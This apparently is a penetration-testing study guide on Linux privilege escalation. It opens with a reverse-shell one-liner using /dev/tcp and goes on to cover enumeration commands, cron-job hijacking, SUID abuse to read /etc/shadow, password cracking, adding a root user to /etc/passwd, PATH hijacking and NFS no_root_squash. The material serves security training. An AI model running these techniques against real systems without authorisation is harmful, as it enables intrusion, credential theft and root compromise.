Linux Privilege Escalation
Reverse Shell
echo '#!/bin/bash; bash -i >& /dev/tcp/{IP}/{PORT} 0>&1' > {FILE}.sh
Upgrade to Fully Interactive TTYs
SHELL=/bin/bash script -q /dev/null
OR
python -c 'import pty; pty.spawn("/bin/bash")'
OR
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
^Z
stty raw -echo; fg
reset
Enumeration
Enumeration is the first step you have to take once you gain access to any system.
cat command
/etc/os-release
Running cat /etc/os-release on a Linux system will display details about the distribution. The output typically looks like this:
/proc/version
The proc filesystem (procfs) provides information about the target system processes. You will find proc on many different Linux flavours,
making it an essential tool to have in your arsenal.
Looking at /proc/version may give you information on the kernel version and additional data such as whether a compiler (e.g. GCC) is
installed.
/etc/issue
Systems can also be identified by looking at the /etc/issue file. This file usually contains some information about the operating system but
can easily be customized or changed. While on the subject, any file containing system information can be customized or changed. For a
clearer understanding of the system, it is always good to look at all of these
/etc/passwd
Reading the /etc/passwd file can be an easy way to discover users on the system.
While the output can be long and a bit intimidating, it can easily be cut and converted to a useful list for brute-force attacks.
Remember that this will return all users, some of which are system or service users that would not be very useful. Another approach could
be to grep for “home” as real users will most likely have their folders under the “home” directory.
/etc/crontab
Cron jobs are used to run scripts or binaries at specific times. By default, they run with the privilege of their owners and not the current user.
While properly configured cron jobs are not inherently vulnerable, they can provide a privilege escalation vector under some conditions.
The idea is quite simple; if there is a scheduled task that runs with root privileges and we can change the script that will be run, then our
script will run with root privileges.
Cron job configurations are stored as crontabs (cron tables) to see the next time and date the task will run.
Each user on the system have their crontab file and can run specific tasks whether they are logged in or not. As you can expect, our goal
will be to find a cron job set by root and have it run our script, ideally a shell.
Any user can read the file keeping system-wide cron jobs under /etc/crontab
While CTF machines can have cron jobs running every minute or every 5 minutes, you will more often see tasks that run daily, weekly or
monthly in penetration test engagements.
You can see the backup.sh script was configured to run every minute. The content of the file shows a simple script that creates a backup of
the prices.xls file.
As our current user can access this script, we can easily modify it to create a reverse shell, hopefully with root privileges.
The script will use the tools available on the target system to launch a reverse shell.
Two points to note;
1. The command syntax will vary depending on the available tools. (e.g. nc will probably not support the e option you may have seen
used in other cases)
2. We should always prefer to start reverse shells, as we not want to compromise the system integrity during a real penetration testing
engagement.
The file should look like this;
We will now run a listener on our attacking machine to receive the incoming connection.
Crontab is always worth checking as it can sometimes lead to easy privilege escalation vectors. The following scenario is not uncommon in
companies that do not have a certain cyber security maturity level:
1. System administrators need to run a script at regular intervals.
2. They create a cron job to do this
3. After a while, the script becomes useless, and they delete it
4. They do not clean the relevant cron job
This change management issue leads to a potential exploit leveraging cron jobs.
The example above shows a similar situation where the antivirus.sh script was deleted, but the cron job still exists.
If the full path of the script is not defined (as it was done for the backup.sh script), cron will refer to the paths listed under the PATH variable
in the /etc/crontab file. In this case, we should be able to create a script named “antivirus.sh” under our user’s home folder and it should be
run by the cron job.
The file on the target system should look familiar:
The incoming reverse shell connection has root privileges:
hostname command
The hostname command will return the hostname of the target machine. Although this value can easily be changed or have a relatively
meaningless string (e.g. Ubuntu-3487340239), in some cases, it can provide information about the target system’s role within the corporate
network (e.g. SQL-PROD-01 for a production SQL server).
uname command
Basic Usage & common options
uname [OPTION]
uname -s → Shows the kernel name (e.g., Linux).
uname -n → Displays the network node hostname.
uname -r → Outputs the kernel release version.
uname -v → Displays the kernel build version.
uname -m → Shows the machine hardware architecture (e.g., x86_64, i686).
uname -o → Prints the operating system (e.g., GNU/Linux).
uname -a → Displays all available system information.
ps Command
The ps command is an effective way to see the running processes on a Linux system. Typing ps on your terminal will show processes for
the current shell.
The output of the ps (Process Status) will show the following;
PID: The process ID (unique to the process)
TTY: Terminal type used by the user
Time: Amount of CPU time used by the process (this is NOT the time this process has been running for)
CMD: The command or executable running (will NOT display any command line parameter)
The “ps” command provides a few useful options.
ps -A : View all running processes
ps axjf : View process tree (see the tree formation until ps axjf is run below)
ps aux : The aux option will show processes for all users (a), display the user that launched the process (u), and show processes that
are not attached to a terminal (x). Looking at the ps aux command output, we can have a better understanding of the system and
potential vulnerabilities.
env command
The env command will show environmental variables.
The PATH variable may have a compiler or a scripting language (e.g. Python) that could be used to run code on the target system or
leveraged for privilege escalation.
sudo -l command
The target system may be configured to allow users to run some (or all) commands with root privileges. The sudo -l command can be
used to list all commands your user can run using sudo .
https://gtfobins.github.io/ is a valuable source that provides information on how any program, on which you may have sudo rights, can be
used.
ls command
One of the common commands used in Linux is probably ls .
While looking for potential privilege escalation vectors, please remember to always use the ls command with the -la parameter. The
example below shows how the “secret.txt” file can easily be missed using the ls or ls -l commands.
find command
Searching the target system for important information and potential privilege escalation vectors can be fruitful. The built-in “find” command is
useful and worth keeping in your arsenal.
Below are some useful examples for the “find” command.
Find files:
find . -name flag1.txt : find the file named “flag1.txt” in the current directory
find /home -name flag1.txt : find the file names “flag1.txt” in the /home directory
find / -type d -name config : find the directory named config under “/”
find / -type f -perm 0777 : find files with the 777 permissions (files readable, writable, and executable by all users)
find / -perm a=x : find executable files
find /home -user frank : find all files for user “frank” under “/home”
find / -mtime 10 : find files that were modified in the last 10 days
find / -atime 10 : find files that were accessed in the last 10 day
find / -cmin -60 : find files changed within the last hour (60 minutes)
find / -amin -60 : find files accesses within the last hour (60 minutes)
find / -size 50M : find files with a 50 MB size
This command can also be used with (+) and (-) signs to specify a file that is larger or smaller than the given size.
The example above returns files that are larger than 100 MB. It is important to note that the “find” command tends to generate errors which
sometimes makes the output hard to read. This is why it would be wise to use the “find” command with “-type f 2>/dev/null” to redirect errors
to “/dev/null” and have a cleaner output (below).
Folders and files that can be written to or executed from:
find / -writable -type d 2>/dev/null : Find world-writeable folders
find / -perm -222 -type d 2>/dev/null : Find world-writeable folders
find / -perm -o w -type d 2>/dev/null : Find world-writeable folders
The reason we see three different “find” commands that could potentially lead to the same result can be seen in the manual document. As
you can see below, the perm parameter affects the way “find” works.
find / -perm -o x -type d 2>/dev/null : Find world-executable folders
Find development tools and supported languages:
find / -name perl*
find / -name python*
find / -name gcc*
Find specific file permissions:
Below is a short example used to find files that have the SUID bit set. The SUID bit allows the file to run with the privilege level of the
account that owns it, rather than the account which runs it. This allows for an interesting privilege escalation path,we will see in more details
on task 6. The example below is given to complete the subject on the “find” command.
find / -perm -u=s -type f 2>/dev/null : Find files with the SUID bit, which allows us to run the file with a higher privilege level than
the current user.
Id command
The id command will provide a general overview of the user’s privilege level and group memberships.
It is worth remembering that the id command can also be used to obtain the same information for another user as seen below.
history command
Looking at earlier commands with the history command can give us some idea about the target system and, albeit rarely, have stored
information such as passwords or usernames.
ifconfig command
The target system may be a pivoting point to another network. The ifconfig command will give us information about the network
interfaces of the system. The example below shows the target system has three interfaces (eth0, tun0, and tun1). Our attacking machine
can reach the eth0 interface but can not directly access the two other networks.
This can be confirmed using the ip route command to see which network routes exist.
netstat command
Following an initial check for existing interfaces and network routes, it is worth looking into existing communications.
The netstat command can be used with several different options to gather information on existing connections.
netstat -a : shows all listening ports and established connections.
netstat -at or netstat -au can also be used to list TCP or UDP protocols respectively.
netstat -l : list ports in “listening” mode. These ports are open and ready to accept incoming connections. This can be used with the
“t” option to list only ports that are listening using the TCP protocol (below)
netstat -s : list network usage statistics by protocol (below) This can also be used with the t or u options to limit the output to a
specific protocol.
netstat -tp : list connections with the service name and PID information.
This can also be used with the -l option to list listening ports (below)
We can see the “PID/Program name” column is empty as this process is owned by another user.
Below is the same command run with root privileges and reveals this information as 2641/nc (netcat)
netstat -i : Shows interface statistics. We see below that “eth0” and “tun0” are more active than “tun1”.
The netstat usage you will probably see most often in blog posts, write-ups, and courses is netstat -ano which could be broken down
as follows;
a : Display all sockets
n : Do not resolve names
o : Display timers
Directories where a low privilege user can write files
/tmp and /dev/shm (Temporary Directories)
/var/tmp
World-Writable Directories ( find to locate them) Check for other writable directories using:
find / -writable -type d 2>/dev/null
Automated Enumeration Tools
LinPeas: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
LinEnum: https://github.com/rebootuser/LinEnum
LES (Linux Exploit Suggester): https://github.com/mzet-/linux-exploit-suggester
Linux Smart Enumeration: https://github.com/diego-treitos/linux-smart-enumeration
Linux Priv Checker: https://github.com/linted/linuxprivchecker
Kernel Exploits
The kernel on Linux systems manages the communication between components such as the memory on the system and applications. This
critical function requires the kernel to have specific privileges; thus, a successful exploit will potentially lead to root privileges.
The Kernel exploit methodology is simple:
1. Identify the kernel version e.g. using uname -r
2. Search and find an exploit code for the kernel version of the target system
3. Run the exploit
Although it looks simple, please remember that a failed kernel exploit can lead to a system crash. Make sure this potential outcome is
acceptable within the scope of your penetration testing engagement before attempting a kernel exploit.
Research sources:
1. Exploit-DB (Offensive Security)
Website: https://www.exploit-db.com
Search for kernel exploits by version:
searchsploit <kernel_version>
2. CXSecurity (PacketStorm)
Website: https://cxsecurity.com
Alternative to Exploit-DB, includes exploits & PoCs.
3. GitHub Kernel Exploit Repositories
Search on GitHub for public PoCs:
site: github.com "Linux Kernel <version> exploit"
Notable repositories:
https://github.com/SecWiki/linux-kernel-exploits
https://github.com/xairy/kernel-exploits
4. Common Vulnerabilities and Exposures (CVE) Database
Search for CVEs affecting kernel versions:
https://cve.mitre.org/
https://nvd.nist.gov/vuln/search
Example Google search:
site:nvd.nist.gov "Linux Kernel 5.15 privilege escalation"
5. CISA Known Exploited Vulnerabilities Catalog
Website: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Lists actively exploited vulnerabilities.
6. Ubuntu / Debian / RedHat Security Advisories
Ubuntu: https://ubuntu.com/security/notices
Debian: https://security-tracker.debian.org
RedHat: https://access.redhat.com/security/security-updates
SUID
In Linux, SUID (set owner userId upon execution) is a particular type of file permission given to a file. SUID gives temporary permissions
to a user to run the program/file with the permission of the file owner (rather than the user who runs it).
find / -type f -perm -04000 -ls 2>/dev/null
A good practice would be to compare executables on this list with GTFOBins (https://gtfobins.github.io). Clicking on the SUID button will
filter binaries known to be exploitable when the SUID bit is set (you can also use this link for a pre-filtered
list https://gtfobins.github.io/#+suid).
Use misconfigured SUID to get /etc/passwd & /etc/shadow
The unshadow tool’s usage can be seen below;
unshadow passwd.txt shadow.txt > passwords.txt
With the correct wordlist and a little luck, John the Ripper can return one or several passwords in cleartext.
The other option would be to add a new user that has root privileges. This would help us circumvent the tedious process of password
cracking. Below is an easy way to do it:
We will need the hash value of the password we want the new user to have. This can be done quickly using the openssl tool on Kali Linux.
We will then add this password with a username to the /etc/passwd file.
Once our user is added (please note how root:/bin/bash was used to provide a root shell) we will need to switch to this user and
hopefully should have root privileges.
Capabilities
We can use the getcap tool to list enabled capabilities.
When run as an unprivileged user, getcap -r / will generate a huge amount of errors, so it is good practice to redirect the error messages
to /dev/null.
Please note that neither vim nor its copy has the SUID bit set. This privilege escalation vector is therefore not discoverable when
enumerating files looking for SUID.
GTFObins has a good list of binaries that can be leveraged for privilege escalation if we find any set capabilities.
PATH
If a folder for which your user has write permission is located in the path, you could potentially hijack an application to run a script. PATH in
Linux is an environmental variable that tells the operating system where to search for executables. For any command that is not built into
the shell or that is not defined with an absolute path, Linux will start searching in folders defined under PATH. (PATH is the environmental
variable we're talking about here, path is the location of a file).
be sure you can answer the questions below before trying this:
1. What folders are located under $PATH
2. Does your current user have write privileges for any of these folders?
3. Can you modify $PATH?
4. Is there a script/application you can start that will be affected by this vulnerability?
NFS
Another vector that is more relevant to CTFs and exams is a misconfigured network shell. This vector can sometimes be seen during
penetration testing engagements when a network backup system is present.
NFS (Network File Sharing) configuration is kept in the /etc/exports file. This file is created during the NFS server installation and can
usually be read by users.
The critical element for this privilege escalation vector is the “no_root_squash” option you can see above. By default, NFS will change the
root user to nfsnobody and strip any file from operating with root privileges. If the “no_root_squash” option is present on a writable share, we
can create an executable with SUID bit set and run it on the target system.
We will start by enumerating mountable shares from our attacking machine.
We will mount one of the “no_root_squash” shares to our attacking machine and start building our executable.
As we can set SUID bits, a simple executable that will run /bin/bash on the target system will do the job.
Once we compile the code we will set the SUID bit.
[NOTE] : Make sure to add -static flag to the compilation command to avoid any issues running the executable on any system.
You will see below that both files (nfs.c and nfs are present on the target system. We have worked on the mounted share so there was no
need to transfer them).
Notice the nfs executable has the SUID bit set on the target system and runs with root privileges.